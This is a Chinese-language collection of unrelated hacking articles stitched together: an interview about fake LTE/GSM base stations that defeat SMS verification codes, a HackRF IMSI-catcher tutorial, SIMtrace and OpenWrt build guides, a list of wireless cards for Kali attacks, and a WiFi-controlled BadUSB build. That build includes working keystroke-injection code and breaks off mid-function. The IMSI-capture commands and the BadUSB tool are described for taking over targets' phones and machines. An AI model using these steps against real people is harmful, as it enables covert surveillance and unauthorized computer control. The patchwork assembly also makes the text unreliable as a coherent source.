黑客技术只是智力游戏,是业余爱好。这个世界终究是机构比个人更有力量,建设比破坏更有价值。我更渴望做的是创建一个生态型经济组织,专注某一自己擅长领域的社会价值创造,以共同愿景和高效率的价值创造来吸引和凝聚社会资源为自己所用,组织应能自我学习成长变异进化,并最终能真正推动所在领域的社会进步。这个野心和愿景更吸引我。 3) 打击黑产,不遗余力。 4) 如有战事,当为国效力。 5) 愿各种形式支持安全领域的创业公司。 18. 想对宅客频道的读者说什么? Seeker: 1) 黑产没未来,回头是岸。 2) 建设永远比破坏更有价值,安全本身和安全以外的创新研发需要建设型人才。 3) 希望有更多的人来玩无线通信和通信安全。 4) 如果你有兴趣一起玩通信安全,有能力和精力一起做无线通信领域的开源项目研发,请跟我联系,我的微信:70772177。 读者提问:如果短信验证码的机制不安全,哪些验证方式是相对可靠,能替换它的? Seeker:这个问题早有答案:就是双因子或多因子认证。问题在于过份照顾用户体验和竞争导致用户数增长的压力,使得商家普遍不愿意第一个部署双因子认证系统。谁能提供一个不显著降低用户体验的安全认证系统,肯定会有很大的商机。 读者提问:手机Kali怎么攻击?(简单探讨下理论吧,防止警察蜀黍追捕) Seeker:安卓手机上安装NetHunter后,就是一部黑客手机,经常用做WIFI攻击,USB口插上SDR可以做GSM伪基站,但是不足以支持LTE。 读者提问:如何评价360在 DEF CON 上展示如何黑掉 4G LTE 手机? Seeker:很好,为国争光,中国人适合做安全,国际黑客大会上理应有更多中国黑客去分享。
在北京上地的一家咖啡馆里,我在等待黑客 Seeker 的到来。 我对黑客 Seeker 颇有期待。他曾在黑客大会 KCon 上演讲《伪基站高级利用技术——彻底攻破短信验证码》,介绍利用 LTE/4G 伪基站+GSM 中间人攻击来攻破所有短信验证码。这项技术和 360 独角兽安全团队曾经揭秘的 LTE 伪基站技术原理相同,Seeker 也曾跑到 360 的办公室与这个团队交流过,后来他告诉我,仅在代码实现上有些不同。 Seeker 曾在他的 PPT 上给过一段简介: 连续创业失败的创业导师;伪天使投资人;某非知名私立大学创办人兼校长;业余时间在本校通信安全实验室打杂。 他的主业并不是黑客,这让我更好奇了。 当时在咖啡馆等待中的我,并不知道几个小时后我会亲眼看见 Seeker 从他的大背包里拿出一整套随身携带可以随时搭建成伪基站的黑客装备。虽然,他告诉我——他并没有带功率放大器,破解范围仅有几米。但是,我知道,只要他想,在他对面的我的手机,原来随时可以处于他的掌控中。 商人、黑客都是他 Seeker 姗姗来迟。此次约聊前,我们已经约过几次时间,均因他的商务行程太满而搁浅。最近他告诉我,要考察附近一所学校,终于能够成行。Seeker 到来后,穿着一身西装,西装上别着领针,我瞬间有点恍惚,觉得见到的应该还是商人 Seeker 。 Seeker ,71年生。他称自己的“黑客学习”始于中学时代,在中国还没有互联网的年代,他竭尽所能搜集了当时所有能搜集到的资料学习了解电脑技术和通信技术。 “那一年,我正好在山东师范大学附属中学读初一,有幸接触了计算机,加入到计算机兴趣小组学习编程,写下了自己人生的第一段代码,从此一发而不可收。那些苹果电脑看似神秘,但是按照严格的逻辑运行,你用约定的方式给它下指令,指令总能精确的得到执行。从那时起,显示器上的绿色字符就吸引着我。我把自己想象成一台虚拟电脑,程序首先在我的大脑里运行,得出结果,然后再跟显示器上输出的结果对照。这种人机交互,是一种优美、默契的感觉,没有其他理由,我就喜欢上了计算机,喜欢研究算法,喜欢编程,也喜欢分析、破解和改写别人的软件。” 在山东大学计算机专业学习期间,他进入了史玉柱的巨人集团,担任巨人集团山东分公司的技术部经理,毕业后,他又到巨人集团北京研发中心任总经理。 对了,那个时候巨人集团还没开始卖脑白金。 1994年,中国第一条国际互联网专线在中科院高能物理研究所开通,通过一条64K的国际专线,全功能接入国际互联网后,中国互联网时代开启。Seeker 称,得益于自己先天超常的信息搜集能力与社交能力,在中国第一批互联网用户大部分为学部委员(院士)的情况下,他因为和中科院高能所的相关人士交好,顺利开户,“混了进去”。 当时,他研究互联网的方式,是站在互联网发展的“潮头”,并打入最顶尖的圈子。 1994 年底,Seeker 离开巨人集团,开始了第一次创业,这次创业与他爱的黑客有些许关联,Seeker 对我叙述的是——在中关村开了一家“电脑公司”。 具体是做什么?几经追问下,Seeker 表示,也不是什么特别光彩的事情,就是普通的电脑网络设备销售,外加承接可能位于“灰色地带”的技术服务。 他的第一次创业开展得不是特别顺利,但挖下了第一桶金。与此同时,1995年,Seeker 成为慧多网其中一个站点的站长。 慧多网有点来头,马化腾、丁磊等如今响彻互联网的人物都曾是慧多网的站长。它于1984年诞生于美国,1991年时,有个叫 Roy Luo 的网友在北京架设了国内的第一个慧多网长城站,一个站往往就一台电脑,一部电话,一个 Modem 。用户靠拨电话接通服务器,其实服务器也是很简陋的电脑,然后下载 BBS 里最新的帖子,离线后看信回信,回信是打包以后,再拨号上传到服务器。 当时,最盛大的事情莫过于联络各站点进行站友聚会。Seeker 也如愿与志同道合者共迎互联网给中国带来的巨浪。 Seeker 说,1996年,他第二次创业,又开了一家电脑公司,这次创业一直延续到现在,公司业务几经起落,发展到多个领域,包括创办自己的私立大学。在这个期间,他称,自己参与了中国第一代互联网的建设,包括人民网、tom.com、联想fm365等大型网站。 相比现在黑客喊出的口号是“攻破一切”,Seeker 的“小骄傲”展现出来了——他要当“建设者”。在他看来,这也是最早一代黑客,或称“IT老兵”与现在小年轻黑客最大的不同——因为是构建者,对互联网技术的理解更为深刻,更加有全局观,就好像俯视大海与冰山一角的区别。 虽然看上去有点“同行相轻”,但这一刻,我觉得 Seeker 黑客的特质从他的西装和领针上挣脱出来了——曾经,360 独角兽安全团队的美女黑客张婉桥也在采访中多次强调,自从进入了黑客圈后,发现大家都有这么点“小骄傲”。 不过, Seeker 始终是“理智”的,他看清了自己与所热爱的黑客技术的关联:可以爱好,不能当主业。 现实是——在那个年代,真正的纯黑客少之又少,Seeker 说,因为当时网络安全这个行业太穷了。那些不是很穷的黑客要么是改行,要么躲避法律的锋芒,承接国外各类“攻破”的业务。 他既不愿意接国外这类业务,也不想在国内直接向“规则”发起挑战,所以,Seeker 后来的创业基本与网络安全攻防技术无关,而在作为业余爱好的黑客道路上,单枪匹马,一路狂奔。 灰帽子的诱惑 也正是由于这一点,Seeker 觉得自己的定位应该是名“灰帽子”,按照他的观点,黑帽子在网络里横冲直撞,做了很多具有破坏性的事情,但白帽子要受太多约束,成果也可能被商用,引来利益纠葛,而且“大多数白帽子名不符实”。 灰帽子 Seeker 说:“我就想不那么束缚地做点有意思的事情。” 他受到的诱惑也不小。 seeker的聊天记录 在他发布了利用中间人攻击攻破短信验证码的系列套路后,黑产开始找上门了。 “他们跟我说,每年收入几千万元是有的。他们给能仿制我的攻击方法的人开价保底一个月 200 万元,外加分成。但是这个攻击方法其实1秒钟可以血洗很多个银行账号,保守估计一小时能带来 7000 万元的黑产产值。” 所以,可以说他们给你的是九牛一毛?我问,潜台词是:“是因为给的太少吗?” Seeker 斜靠在椅子上,眉毛扬起来,一副“你太小瞧了我”的样子:“我不屑拿这个挣钱”。 其实,Seeker 说,中间人攻击的方法早就有,他不过是捅破窗户纸的那一个。 两年前,“号码采集器”就在黑产界大热,通过吸引手机信号附着在伪基站上,可以获得很多手机号码,进行精准营销。 但是,他发布的这项技术对黑产来说,确实有壁垒,即使可以依照他提供的图片搭建成这样也可能是白搭。 “搭起来了也用不了,LTE开源基站本身就有很多坑,我建了一个通信安全技术研讨群,里面有上百人,能够成功搭建并使用的就两个人。”Seeker 说。 黑产还没开始大规模利用LTE伪基站, Seeker 分析,黑产技术人员对LTE伪基站比较陌生,大多处于才开始摸索的阶段,要想投入实用,需要熟练掌握通信协议和较强的编程能力,这样的黑产技术人员很少。 现在,Seeker 已经可以做到在运营商基站和目标手机之间插入一台 LTE 伪基站,一台 GSM 伪基站和一部攻击手机,诱导目标手机附着 LTE 伪基站,然后重定向目标手机到 GSM 伪基站,然后调用攻击手机以目标手机身份在运营商网络注册,使得目标手机的所有进出通信都经过伪基站和攻击手机中转,所以他能够拦截、修改、仿冒各种通信内容。 也就是说,可以对你的手机通讯信息为所欲为,1 秒攻破 15-20 个手机并不是危言耸听。下图是 Seeker 展示的凭借验证码可以攻破的应用,看看自己的手机,可谓中枪无数。 seeker PPT上展现的短信验证码被攻破的“疯狂后果” 万一,黑产人员掌握了这项技术怎么办?你我的钱岂不都要被盗光光? Seeker 说,以他卧底多个黑产群及对黑产的了解看,这件事在短期内不会发生,不是因为对反击比较自信,而是相信黑产的“克制能力”。 原来,就算不是通过这个途径,黑产通过扩散手机木马也能获取很多有价值的银行账号、密码等,比如。有一些料主盗取或控制大批用户银行帐户,这些总余额过亿元的料主很多,他可能早有 10 亿元可以盗窃,但是洗钱能力有限,黑产人员为了不因大规模的洗钱而暴露身份锒铛入狱,不会如此猖獗地窃取账户现金。 这意味着,就算没有这项技术,很多人的机密信息该泄露的早就泄露了,只是黑产在“克制”。 “他们又不是天天背着伪基站在路上打游击战的一线马仔,对大量金钱的渴望还没有这么迫切。”Seeker说。 但是,以防万一,万一马仔获得这些技术,不克制了怎么办? 黑客 Seeker 此时散发出了他建设和谐社会的正能量,强烈建议:“有条件的机构进行双因子认证,没有条件的机构和有双因子认证的机构合作。” 下一步玩什么 在 Seeker 的微信朋友圈里,3月中旬,他写了一篇科普文章《GSM Hacking:静默短信在技术侦查中的应用》,我打开后,发现: 这是灰帽子 Seeker 纵行网络,冲撞规则后留下的“一具惨烈的尸体”。究竟是“冒犯”了什么? Seeker 笑了,给我描述了一个“惊心动魄”的故事。 该篇文章因为暴露了“相关部门”的技术侦查手段,所以遭到大量删除,警察蜀黍在一个夜晚闯进了他家的大门,告诉他——你不能这么做了,你把我们的秘密都暴露了!于是,他本来准备的“三部曲”(三篇稿件)只能提前结束。 但是,Seeker 依然心心念念这个设想,这个设想已经让他激动了大半年,也因此,他故意把“这具惨烈的尸体”晒在朋友圈里,时时提醒自己。 在此,我不会给你详述这篇文章说了什么,我只能说,它和朝阳群众密切相关。 Seeker 对世界“第五大情报组织”——朝阳群众颇怀有好感,虽然这对建设美好世界似乎看上去并没有直接帮助。他想给朝阳群众提供一个“野战工具箱”,研发低成本的情报工具,就像他身上背着的“伪基站装备”一样,定位目标并加以监控,“帮助朝阳群众以实际行动推动世界和平,保卫国家安全,以及对公众人物进行监督”。 他对反间谍这一套也十分感兴趣,他说利用 Wi-Fi 热点向手机植入木马进行监控完全可行,而Wi-Fi之外,另一个有效途径就是利用移动通信协议和手机基带的漏洞。 事实上,几年前安全专家 Jacob Appelbaum 在 Chaos Communications Congress 大会上也指出过,平时在用的 Wi-Fi,国安局分分钟可以搞定。据称,在他们的“工具箱”中,有一件叫做 Nightstand 的东西,它基于 Linux 系统,可以在 8 英里(约 13 千米)外侵入 Wi-Fi 网络植入间谍软件。 我问 Seeker:“你开始着手了吗?和你之前的研究有相通之处吗?” 他没有详说,但透露,他正在利用一些漏洞一层层“剥开这颗洋葱”,如果顺利,应该几个月内可以展现一些成果。 “可是你还有主业,你这不是有新想法要开始建新学校了吗?有信心在这个时间段内玩转你的‘骨灰级爱好’吗?” Seeker 说:“我都是见缝插针。”随后,他拿出了黑色大双肩包,摆出了一整套伪基站装备,出现了文头这一幕……
关于IMSI IMSI为国际用户识别码(International Mobile Subscriber Identity)的缩写,是用于区分蜂窝网络中不同用户的,在所在蜂窝网络中不重复的识别码。IMSI可以用于在归属位置寄存器(HLR)和拜访位置寄存器(VLR)中查询用户信息,为了避免被监听者识别并追踪特定用户,有些情形下手机与网络之间的通信会使用随机生成的临时移动用户识别码(TMSI)代替IMSI。 如图,IMSI由MCC(移动国家代码),MNC(移动网络代码)以及MSIN(移动用户识别代码)组成,一般为15位。 准备工作 所需硬件 HackRF one 安装IMSI-catcher,gr-gsm,gnuradio及其他 安装过程可以参考这里,步骤基本相同。 apt-get install gnuradio gnuradio-dev gr-osmosdr sudo apt-get install git cmake libboost-all-dev libcppunit-dev swig doxygen liblog4cpp5-dev python-scipy git clone https://github.com/ptrkrysik/gr-gsm.git cd gr-gsm mkdir build cd build cmake .. make sudo make install sudo idconfig git clone https://github.com/Oros42/IMSI-catcher.git 在/root/.gnuradio中创建文件config.conf并粘贴以下内容: [grc] local_blocks_path=/usr/local/share/gnuradio/grc/blocks 最后安装kalibrate-hackrf(可以不装,不装的话直接看下面) apt-get install automake autoconf git clone https://github.com/scateu/kalibrate-hackrf.git cd kalibrate-hackrf ./bootstrap ./configure make make install 确定频率 如果安装了kalibrate-hackrf: cd kalibrate-hackrf cd src ./kal -s GSM900 -g 40 -l 40 稍作等待,即出现下图所示情况 打开gr-gsm_livemon,选择刚刚获取的其中一个频率并进行微调,直到终端显示数据。 grgsm_livemon 出现数据就会像下图一样 如果没有装kalibrate-hackrf,那只能从一开始给的频率慢慢调了。 获取IMSI 切换目录 cd IMSI-catcher/ 修改权限 chmod u+x simple_IMSI-catcher.py 运行 ./simple_IMSI-catcher.py 稍等片刻,即可显示信息 打开wireshark可以查看更详细的信息 sudo wireshark -k -Y 'gsmtap && !icmp' -i lo 另:根据LAC和cellId可进行基站定位,点击这里进入定位网站 IMSI查询可以点击这里 参考来源: https://zh.wikipedia.org/wiki/国际移动用户识别码 http://www.rtl-sdr.com/using-an-rtl-sdr-as-a-simple-imsi-catcher/
搭建simtrace环境 工具环境搭建 仅作参考,具有时效性,请以官方文档为准。 跨平台编译工具arm-elf 参考链接:https://osmocom.org/projects/baseband/wiki/GnuArmToolchain 新建三个目录 mkdir build src install 安装依赖 sudo apt-get install build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev 将文件夹中 binutils-2.21.1a.tar.bz2,gcc-4.5.2.tar.bz2,newlib-1.19.0.tar.gz 放在src中 脚本工具gnu-arm-build.2.sh 放在当前目录,执行 gnu-arm-build.2.sh $bash gnu-arm-build.2.sh 目录结构如下: 报错处理: 先卸载 texinfo (apt remove texinfo) 安装低版本texinfo dpkg –i texinfo_4.13a.dfsg.1-8ubuntu2_amd64.deb 再运行./gnu-arm-build.2.sh 编译库文件libosmocore 参考链接:https://osmocom.org/projects/libosmocore/wiki/Libosmocore 安装依赖 sudo apt-get install build-essential libtool libtalloc-dev shtool autoconf automake git-core pkg-config make gcc libpcsclite-dev git clone git://git.osmocom.org/libosmocore.git cd libosmocore/ autoreconf -i ./configure make sudo make install sudo ldconfig -i cd .. 安装pc客户端simtrace 参考链接:https://osmocom.org/projects/simtrace/wiki/SIMtrace 下载simtrace源码 git clone git://git.osmocom.org/simtrace.git 依赖 $sudo apt-get install libusb-1.0-0-dev cd simtrace/host/ make 编译simtrace 固件 参考链接:https://osmocom.org/projects/simtrace/wiki/SIMtrace_Firmware 下载源码及编译 (osmocom最新修改的openpcd源码无法正常使用,其头文件中结构体变量声明类型有误,或者是交叉编译工具版本较旧(uint8_t/ u_int8_t 两个定义),使用旧的可编译通过的源码,openpcd.zip) 源码修改链接:http://git.osmocom.org/openpcd/commit/?id=373c172ab858102e1818c8476ab1a2b290685cda 在交叉编译工具中的头文件( #include ) 源代码中最近一次修改是将所有文件中的数据类型u_int8_t、u_int16_t全部修改为uint8_t、uint16_t,但是使用的交叉编译工具(arm-elf-gcc)中的对该数据类型的定义为u_int8_t、u_int16_t。这导致新代码编译出错。 git clone git://git.osmocom.org/openpcd.git cd openpcd/firmware 设置环境变量(arm-elf-gcc所在目录) exportPATH = PATH:/home/mtq/simtrace/arm-elf-toolchain/install/bin make -f Makefile.dfu BOARD=SIMTRACE make BOARD=SIMTRACE DEBUG=1 TARGET=main_simtrace cat dfu.bin main_simtrace.bin > main_simtrace.samba cd ../.. 其中生成的文件 dfu.bin -- the sam7dfu 2nd level bootloader. It implements the USB DFU (Device Firmware Upgrade) profile. main_simtrace.bin -- the actual simtrace program. To be loaded via DFU, using dfu-util. main_simtrace.samba -- sam7dfu + simtrace image. to be loaded via SAM-BA, using sam7utils (see below). 两种给板子刷固件的方法 1.DFU模式 该模式是在固件可用下,需要升级固件时使用 安装工具 sudo apt-get install dfu-util 刷固件 sudo dfu-util -d 16c0:0762 -a0 -D ./main_simtrace.bin –R 2.SAM-BA 该模式用于板子固件丢失,需要重新刷入底层固件 wget http://www.openpcd.org/dl/sam7utils-0.2.1-bm.tar.bz2(该链接已经失效) tar xf sam7utils-*.tar.bz2 cd sam7utils ./configure –prefix=/usr/local make AM_CFLAGS=”” 编译生成工具,将板子进入SAM-BA模式
从朋友那里弄了台Lenovo PWR-G60,现在已经停产了,淘宝上某店卖的国产WIFI Pineapple貌似就是拿这个刷的,打算出篇DIY教程 现在人在外地,编程器、热风枪、烙铁工具啥的都没有,更新可能会比较慢。那位大佬要是知道Telnet密码麻烦告诉一声,我好刷个Breed 是的,你没有看错,我就是用神器“掏耳勺”成功撬开外壳的~
0x00 安装依赖 安装git以下载OpenWrt源码。安装编译工具以进行交叉编译: sudo apt-get update sudo apt-get install build-essential subversion git-core libncurses5-dev zlib1g-dev gawk flex quilt libssl-dev xsltproc libxml-parser-perl mercurial bzr ecj cvs unzip feeds中的部分软件包可能只能通过subversion (缩写: svn)或者mercurial下载源代码。如果你需要安装这些软件包,你同时也应当安装svn和mercurial: sudo apt-get install subversion mercurial 通过git来下载OpenWrt bleeding edge(trunk版本) 详情参考https://dev.openwrt.org/wiki/GetSource 这里我编译是的15.05 git clone git://github.com/openwrt/openwrt.git 15.05 branch (Chaos Calmer) git clone -b chaos_calmer git://github.com/openwrt/openwrt.git 14.07 branch (Barrier Breaker) git clone -b barrier_breaker git://github.com/openwrt/openwrt.git 0x01 安装Feeds 此处就是下载一些你之后要编译进firmware里的一些软件。若有自己需要额外添加的组件,可以通过添加feeds来实现。比如,我需要添加openvswitch的支持,在目录下输入如下命令: echo 'src-git openvswitch git://github.com/schuza/openvswitch.git' >> feeds.conf.default 然后,更新下载feeds组件包并安装: ./scripts/feeds update -a //更新下载全部软件包./scripts/feeds update [包名]) //单独更新下载某软件包 ./scripts/feeds install -a //安装全部软件包./scripts/feeds install [包名] //单独安装某软件包 0x02 配置OpenWRT 直接在 [openwrt主目录] 下输入命令 mark menuconfig 即可开始自定义选择组件 Target Profile --> 选择路由器型号 LuCI --> Modules --> <*> luci-base.........LuCI core libraries 然后进入下面的Translations --> 选择语言 添加LuCI界面 LuCI --> Collections --> <*> luci 添加UTF-8编码 Kernel modules --> Native Language Support --> <*> kmod-nls-utf8 若之前添加过自己的组件,就对应选择上,否则编译不进去! 全部选择完,一定记住保存,才能成功写入 .config 文件。 设置LuCI默认语言 打开 openwrt/feeds/luci/modules/luci-base/root/etc/config/luci 文件 config core main option lang auto //此处修改为option lang zh_cn option mediaurlbase /luci-static/bootstrap option resourcebase /luci-static/resources config extern flash_keep option uci "/etc/config/" option dropbear "/etc/dropbear/" option openvpn "/etc/openvpn/" option passwd "/etc/passwd" option opkg "/etc/opkg.conf" option firewall "/etc/firewall.user" option uploads "/lib/uci/upload/" config internal languages option zh_cn chinese //新增 option en English //新增 config internal sauth option sessionpath "/tmp/luci-sessions" option sessiontime 3600 config internal ccache option enable 1 config internal themes 设置默认开启WIFI 打开 /openwrt/package/kernel/mac80211/files/lib/wifi/mac80211.sh 文件 0x04 编译前注意事项 修改固件大小 我的路由器型号WL841N_V8(硬件方面改装成16M的Flash),所以需要把默认的4M改成了16M,这样编译后就没问题了。 修改 /openwrt/target/linux/ar71xx/image/Makefile 文件,搜索 tl-wr841n-v8 修正网口顺序问题 OpenWRT的网口经常是反过来的,所以要进行修正 打开 /openwrt/target/linux/ar71xx/files/arch/mips/ath79/mach-tl-wr841n-v8.c 文件 ath79_setup_ar934x_eth_cfg(AR934X_ETH_CFG_SW_PHY_SWAP);改为ath79_setup_ar934x_eth_cfg(AR934X_ETH_CFG_SW_ONLY_MODE); ath79_switch_data.phy_poll_mask = BIT(0);改为ath79_switch_data.phy_poll_mask = BIT(4); ath79_eth0_data.phy_mask = BIT(0);改为ath79_eth0_data.phy_mask = BIT(4); 修改LED灯顺序问题 打开 /openwrt/target/linux/ar71xx/base-files/etc/uci-defaults/01_leds 文件,修改为如图所示 0x05 编译固件 一般情况下,编译直接在 [openwrt主目录] 下输入命令 make V=99 。可以查看编译过程具体信息。直接make无具体信息。编译完成后,在bin目录下就可以找到你编译好的bin文件,以及bin/packages下编译好的一些ipk文件,ipk文件可以直接安装于刷好的OpenWRT中。 注意:此处千万不要以root权限执行make,否则报N多错误。 另附一些编译选项: 在多核电脑中编译,常规用法为【 cpu处理器的数目 + 1】– 例如使用3进程来编译 (即双核CPU), 命令及参数: make -j 3 。这样可以加速编译,不过我没试过。 后台编译,你还在忙其他,不想让编译耗费太多资源,只使用一些空闲的I/O和CPU能力来编译: ionice -c 3 nice -n19 make -j 2 单独编译某个包: make package/[包名]/compile V=99 。编完后在bin/packages下会找到对应的ipk文件。 单独编译某个包: make package/[包名]/compile V=99 。编完后在bin/packages下会找到对应的ipk文件。 0x06 参考链接 http://wiki.openwrt.org/doc/howto/buildroot.exigence https://dev.openwrt.org/wiki/GetSource
相信很多初次使用Kali Linux来进行无线渗透的小伙伴都曾遇到过一个非常头疼的问题,就是不知道如何选购一款合适的无线网卡。因为Kali Linux并不是所有的网卡都支持,一旦选错了网卡不仅会给我们造成经济上的损失,更会直接导致无线渗透的失败而终。那么我们究竟应该选择什么样的无线网卡呢?以下是我为大家整理的2017年最适用于Kali的无线渗透网卡。 WiFi HACK初学者 Kali Linux是迄今为止最适用于初学者的渗透测试系统,我的HACK之路就是从kali的无线渗透开始的。想要成功渗透无线网络,你必须配备一块支持数据包注入和监听模式的无线网卡。以下是一系列Kali Linux兼容的无线网卡。 如果你是WiFi HACK的初学者,你可以参考我之前发布过的一篇关于Kali Pi的文章,只需35美金你就可以完全打造一款属于自己的HACK平台。 无线网卡有什么好处?通过交换天线或适配器类型,我们可以定位不同类型的网络。我们甚至可以通过添加特殊的超长距离定向天线(如八木天线)来瞄准远程目标网络。 Kali Linux支持的芯片组 我们已经知道了一块适配的无线网卡对于无线渗透的重要性。 以下是一些可以在kali上正常工作的芯片组: Atheros AR9271 Ralink RT3070 Ralink RT3572 Realtek 8187L (Wireless G adapters) Realtek RTL8812AU (2017年新增) 经过我的测试Ralink RT5370N也是兼容的 就在今年,Kali Linux开始支持RTL8812AU无线芯片组的驱动程序。要知道这些驱动程序并不是标准的Linux内核的一部分,但已被修改为允许注入。这是一个重要的变革,意味着与注入相关的无线渗透开始被带到802.11 AC标准。 使用Ralink RT3070芯片组的适配器 Alfa AWUS036NH 2.4 GHz Alfa AWUS036NH是一款符合b/g/n无线规范的适配器。其支持的加密种类也非常齐全,支持64/128-bit WEP, WPA, WPA2, TKIP, AES加密。除了支持Linux外,它同时也支持Windows XP,Vista ,Windows 7,Windows 8,Mac OS。其搭配的5dbi高增益可折式SMA天线,可以让我们自主升级高功率天线。最重要的是它完美支持Kali Linux , Aircrack – NG等软件。 Alfa AWUS036NEH 2.4 GHz 如果你想购买一块更简单易用的USB插头的无线网卡,那么Alfa AWUS036NEH会是你的首选。Alfa AWUS036NEH同样是一款符合b/g/n无线规范的适配器,相比Alfa AWUS036NH它的体积更小巧,即插即用的设计也更容易上手。 Panda PAU05 2.4 GHz 有时候我们可能只需要收集网络数据,而不是块内的所有内容。这样可以在一定程度上可以让我们的无线渗透更加隐蔽。那么有没有一款既可以保证我们隐蔽性,又具备足够PWN能力的无线适配器呢?这里我就要向大家推荐Panda PAU05了。Panda PAU05是一款符合g/n标准的适配器。如果你想拥有更好的隐蔽性那么就选择它吧。 使用Atheros AR9271芯片组的适配器 Alfa AWUS036NHA 2.4 GHz Alfa AWUS036NHA也是一款符合b/g/n无线规范的适配器。它的优势在于其传输距离远速度也非常的快。对于那些追求稳定及速度距离的人,Alfa AWUS036NHA将会是你不错的选择。 TP-LINK TL-WN722N 2.4 GHz TP-LINK TL-WN722N是一款深受无线爱好者好评的无线网卡,并且符合b/g/n无线规范。其不仅拥有紧凑小巧的外形,而且价格也非常的便宜,现在的市场价应该在百元以内。虽说如此但其性能表现却并不逊色于那些中高档的适配器。唯独遗憾的是TP-LINK TL-WN722N的v2版本并不支持kali,只有v1版本的芯片组是支持的。因此,在购买时一定要看仔细了不要买错了! 使用RT3572芯片组的适配器 Alfa AWUS051NH Dual Band 2.4 GHz & 5.8 GHz 前面介绍的适配器都只支持2.4 GHz,而AWUS051NH则是一款双频适配器同时兼容5 GHz网络。虽然在价格上要贵出许多,但因其兼容双频带容量以及802.11n 3.0草案和802.11a/b/g无线标准的优势,也使其成为了大部分无线网卡中的佼佼者。 使用Ralink RT5370N芯片组的适配器 Raspberry Pi无线网卡 虽然我还没有亲自测试这个IEEE 802.11n兼容适配器,但是Kali支持该类芯片组,同时它也支持监听模式。如果你想在树莓派上完成你的无线渗透,那么这款适配器就非常适合你。 使用Realtek RTL8812AU芯片组的适配器(新增) Alfa AWUS036ACH AC1200 WiFi USB 3.0适配器 Alfa AWUS036ACH是今年kali新增支持无线网卡类型。具有双天线和2.4 GHz 300 Mbps/5 GHz 867 Mbps – 802.11ac 和 a, b, g, n兼容性。这是最新的与kali兼容的产品,因此如果你喜欢尝试新的东西,并且追求更好的体验效果那么就是它了。 想要正常的使用它,我们需要在kali执行以下操作: apt update apt install realtek-rtl88xxau-dkms 以上命令将为我们安装Alfa AWUS036ACH所需的驱动程序。 使用Realtek 8187L芯片组的USB适配器 以下的USB适配器所使用的芯片组已经非常的老旧,并且在接收网络方面也非常的差。但这些网卡对部分网络仍有一定的效果。 Alfa AWUS036H USB 2.4 GHz 虽然这款适配器已经非常老旧,但是对于无线初学者来说仍是不错的选择。但它只兼容802.11b/g标准,因此在无线渗透中可能会给我们带来一定的限制。 其它选择 Hard Kernel的WiFi Module 4使用支持的Ralink RT5572芯片组,其增加了5 GHz的功能,并且还可以在2.4 GHz工作。 Hard Kernel的WiFi Module 0使用支持的Ralink RT5370N芯片组,这是一个超紧凑型的选项。 *参考来源:wonderhowto
1、介绍WIFI DUCKY 它是一个Wi-Fi控制的BadUSB设备来远程执行Ducky Scripts。 使用充当键盘的USB设备来注入攻击,Hak5 的 USB Rubber Ducky 是这种攻击的黑客小工具。它引入了一个简单的脚本语言,称为Ducky Script,这个项目也是这样使用的。 该设备使用 ESP8266 + ATMEGA32U4 创建WIFI信号,进行远程上传、保存和运行脚本进行攻击 但是为什么要添加Wi-Fi,你可能会问。 使用Wi-Fi,您可以远程上传并运行Ducky Script。 只需将设备插入,连接到其Wi-Fi网络,即可完全控制目标机器。 它还给你一个比其他BadUSB更大的优势,你可以测试你的脚本!您不需要将它们复制到micro-sd卡或编译它们。您可以通过web界面直接运行它们,这使得它非常容易测试和改进脚本。 它还为不同的攻击增加了很多可能性。您可以使目标从Wi-Fi网络下载可执行文件,而不是互联网。或者执行不同的攻击并将结果发回。或者打开ESP8266s Wi-Fi上的反向Shell。 等等...有这么多的可能性,赶快动手做起来吧! 2、所需材料: 1.CJMCU-Beetle Leonardo USB ATMEGA32U4 2.ESP8266-12F 3.AMS1117-3.3V电源模块 3、所需软件: ARDUINO IDE 下载地址:https://www.arduino.cc/en/Main/Software NodeMCU Flasher 下载地址:https://github.com/nodemcu/nodemcu-flasher 4、接线图: 5、写入固件到ESP8266 首先,然后将下列代码上传到Arduino: int program_pin = 12; int enable_pin = 13; void setup() { Serial1.begin(115200); Serial.begin(115200); pinMode(enable_pin, OUTPUT); pinMode(program_pin, OUTPUT); digitalWrite(program_pin, LOW); digitalWrite(enable_pin,HIGH); } void loop() { while(Serial1.available()){ Serial.write((uint8_t)Serial1.read()); } if(Serial.available()){ while(Serial.available()){ Serial1.write((uint8_t)Serial.read()); } } } 将设备连接PC,打开Arduino IDE,选择开发板和端口 然后点击 上传 将代码写入Arduino 写入成功后,前往 https://github.com/spacehuhn/wifi_ducky/releases 下载 esp8266_wifi_duck_4mb.bin 固件 我编译的中文web界面固件 点击下载 然后打开 NodeMCU Flasher 写入软件 将参数设置如下 然后选择固件 选择端口,点击 Flash 开始写入固件 写入完成后需要将 GPIO0 的线断开,变成如下的接线,即可进行下一步写入代码 6、写入代码到ATMEGA32U4 #include <Keyboard.h> #define BAUD_RATE 57200 #define ExternSerial Serial1 String bufferStr = ""; String last = ""; int defaultDelay = 0; void Line(String _line) { int firstSpace = _line.indexOf(" "); if(firstSpace == -1) Press(_line); else if(_line.substring(0,firstSpace) == "STRING"){ for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]); } else if(_line.substring(0,firstSpace) == "DELAY"){ int delaytime = _line.substring(firstSpace + 1).toInt(); delay(delaytime); } else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt(); else if(_line.substring(0,firstSpace) == "REM"){} //nothing :/ else if(_line.substring(0,firstSpace) == "REPLAY") { int replaynum = _line.substring(firstSpace + 1).toInt(); while(replaynum) { Line(last); --replaynum; } } else{ String remain = _line; while(remain.length() > 0){ int latest_space = remain.indexOf(" "); if (latest_space == -1){ Press(remain); remain = ""; } else{ Press(remain.substring(0, latest_space)); remain = remain.substring(latest_space + 1); } delay(5); } } Keyboard.releaseAll(); delay(defaultDelay); } void Press(String b){ if(b.length() == 1) Keyboard.press(char(b[0])); else if (b.equals("ENTER")) Keyboard.press(KEY_RETURN); else if (b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL); else if (b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT); else if (b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT); else if (b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI); else if (b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW); else if (b.equals("DOWN") || b.equals("DOWNARROW")) 